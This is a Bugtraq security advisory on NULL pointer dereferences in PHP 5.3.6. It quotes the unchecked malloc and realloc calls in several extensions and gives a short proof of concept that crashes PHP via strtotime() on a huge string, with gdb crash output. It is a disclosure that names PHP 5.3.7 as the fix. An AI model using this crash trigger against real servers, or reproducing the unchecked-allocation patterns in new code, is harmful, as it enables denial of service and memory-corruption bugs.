Bugtraq mailing list archives

PHP 5.3.6 multiple null pointer dereference


From: cxib () securityreason com
Date: Fri, 19 Aug 2011 05:09:10 GMT

[ PHP 5.3.6 multiple null pointer dereference ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://securityreason.net/
http://cxib.net/

Date:
- Dis.: 20.07.2011
- Pub.: 19.08.2011

Affected Software (verified):
PHP 5.3.6 and prior

Fixed:
PHP 5.3.7

Original URL:
http://securityreason.com/achievement_securityalert/101


--- 0.Description ---
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For 
this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor 
module, which generates the web page document. It also has evolved to include a command-line interface capability and 
can be used in standalone graphical applications.


--- 1. PHP 5.3.6 multiple null pointer dereference ---
Some time ago we have reported list with possible NULL pointer dereferences in php 5.3.6. If user may change size of 
malloc, it's possible to get NULL pointer dereferences. I haven't enought time to check security impacts for all these 
bugs. 

To demonstrate these flaws, we may use default memory limit in OpenBSD [512MB]. We should allocate a lot of memory like 
510MB (still 2MB free). If some string is longer than 2MB (example 4MB), and php try copy this string using 
malloc/strlen etc then malloc return NULL. Then program is counting with possible NULL pointer dereference or buffer 
overflow sympthons.

Example:
http://cwe.mitre.org/data/definitions/690.html

where CWE-690 give CWE-476 NULL pointer dereference

good example for CWE-690 is

        tz->location.comments = malloc(comments_len + 1);
        memcpy(tz->location.comments, *tzf, comments_len);

This code may provide to null pointer dereference or simple crash with nulling memory with memset()

        in.str = malloc((e - s) + YYMAXFILL);
        memset(in.str, 0, (e - s) + YYMAXFILL);
        memcpy(in.str, s, (e - s));

Program received signal SIGSEGV, Segmentation fault.
0xbba7581c in memset () from /usr/lib/libc.so.12
(gdb) x/i $eip
0xbba7581c <memset+44>: rep stos %eax,%es:(%edi)
(gdb) x/x $eax
0x0:    Cannot access memory at address 0x0
(gdb) x/x $edi
0x0:    Cannot access memory at address 0x0

In this case, memset() overwrite the memory with 0x0 char. If attacker can put something else that 0x0, it would have 
security impact. 

There are more interesting places, where user may try change size of malloc. See bellow

-id0-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/curl/interface.c?view=markup

820         if (!CRYPTO_get_id_callback()) {
821             int i, c = CRYPTO_num_locks();
822
823             php_curl_openssl_tsl = malloc(c * sizeof(MUTEX_T));
824
825             for (i = 0; i < c; ++i) {
826                 php_curl_openssl_tsl[i] = tsrm_mutex_alloc();
827             }
828
829             CRYPTO_set_id_callback(php_curl_ssl_id);
830             CRYPTO_set_locking_callback(php_curl_ssl_lock);
831         }
-id0-end---------


-id1-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_date.c?view=markup
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_iso_intervals.c?view=markup
multiple malloc/calloc/realloc

323                 uchar *buf = (uchar*) malloc(((s->lim - s->bot) +
BSIZE)*sizeof(uchar));
324                 memcpy(buf, s->tok, s->lim - s->tok);

496         str = calloc(1, end - begin + 1);
497         memcpy(str, begin, end - begin);

346         s->errors->warning_messages =
realloc(s->errors->warning_messages, s->errors->warning_count *
sizeof(timelib_error_message));
347         s->errors->warning_messages[s->errors->warning_count -
1].position = s->tok ? s->tok - s->str : 0;
348         s->errors->warning_messages[s->errors->warning_count -
1].character = s->tok ? *s->tok : 0;
349         s->errors->warning_messages[s->errors->warning_count -
1].message = strdup(error);
-id1-end---------


-id2-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/parse_tz.c?view=markup

210         tz->location.comments = malloc(comments_len + 1);
211         memcpy(tz->location.comments, *tzf, comments_len);
212         tz->location.comments[comments_len] = '\0';
213         *tzf += comments_len;
-id2-end---------


-id3-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/date/lib/timelib.c?revision=305315&view=markup

124         tmp->trans = (int32_t *) malloc(tz->timecnt * sizeof(int32_t));
125         tmp->trans_idx = (unsigned char*) malloc(tz->timecnt *
sizeof(unsigned char));
126         memcpy(tmp->trans, tz->trans, tz->timecnt * sizeof(int32_t));
127         memcpy(tmp->trans_idx, tz->trans_idx, tz->timecnt *
sizeof(unsigned char));
128
129         tmp->type = (ttinfo*) malloc(tz->typecnt * sizeof(struct ttinfo));
130         memcpy(tmp->type, tz->type, tz->typecnt * sizeof(struct ttinfo));
131
132         tmp->timezone_abbr = (char*) malloc(tz->charcnt);
133         memcpy(tmp->timezone_abbr, tz->timezone_abbr, tz->charcnt);
134
135         tmp->leap_times = (tlinfo*) malloc(tz->leapcnt * sizeof(tlinfo));
136         memcpy(tmp->leap_times, tz->leap_times, tz->leapcnt *
sizeof(tlinfo));
-id3-end---------


-id4-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/pdo_odbc/pdo_odbc.c?view=markup

98              char *instance = INI_STR("pdo_odbc.db2_instance_name");
99              if (instance) {
100                 char *env = malloc(sizeof("DB2INSTANCE=") +
strlen(instance));
101                 strcpy(env, "DB2INSTANCE=");
102                 strcat(env, instance);
103                 putenv(env);
-id4-end---------


-id5-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/reflection/php_reflection.c?view=markup

238         class_entry->interfaces = (zend_class_entry **)
realloc(class_entry->interfaces, sizeof(zend_class_entry *) *
num_interfaces);
239         class_entry->interfaces[num_interfaces - 1] = interface_entry;
-id5-end---------


-id6-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/soap/php_sdl.c?view=markup

2368        prest = malloc(sizeof(sdlRestrictionChar));
2369        memset(prest, 0, sizeof(sdlRestrictionChar));
-id6-end---------


-id7-start---------
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/xmlrpc/libxmlrpc/base64.c?view=markup

26        b->data = malloc(sizeof(char)*(b->length));
27        b->data[0] = 0;

38          b->data = realloc(b->data, b->length);
39          b->ptr = b->data + b->offset;
-id7-end---------


-id8-start---------
http://svn.php.net/viewvc/php/php-src/trunk/TSRM/tsrm_win32.c?view=markup

532     cmd = (char*)malloc(strlen(command)+strlen(TWG(comspec))+sizeof(" /c ")+2);
533     sprintf(cmd, "%s /c \"%s\"", TWG(comspec), command);
534     if (asuser) {
535     res = CreateProcessAsUser(token_user, NULL, cmd, &security, &security, security.bInheritHandle, dwCreateFlags, 
env, cwd, &startup, &process);
536     CloseHandle(token_user);
-id8-end---------


--- 2. PoC (realloc/malloc) ---
This proof of concept was verified on NetBSD with php 5.3.7.

127# ulimit -m 100000
127# ulimit -v 100000 
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127# 
127#  /cxib/5371/build/bin/php /www/strtotime.php 33388888 
Memory fault (core dumped) 

127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888

Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90, 
    error=0x83ea7d8 "Double timezone specification")
    at /cxib/5371/ext/date/lib/parse_date.c:355
355             s->errors->error_messages[s->errors->error_count - 1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009


--- 3. Fix ---
Use PHP 5.3.7


--- 4. Greets ---
PHP Team for fixes and discussions.

sp3x infospec


--- 5. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/


Current thread: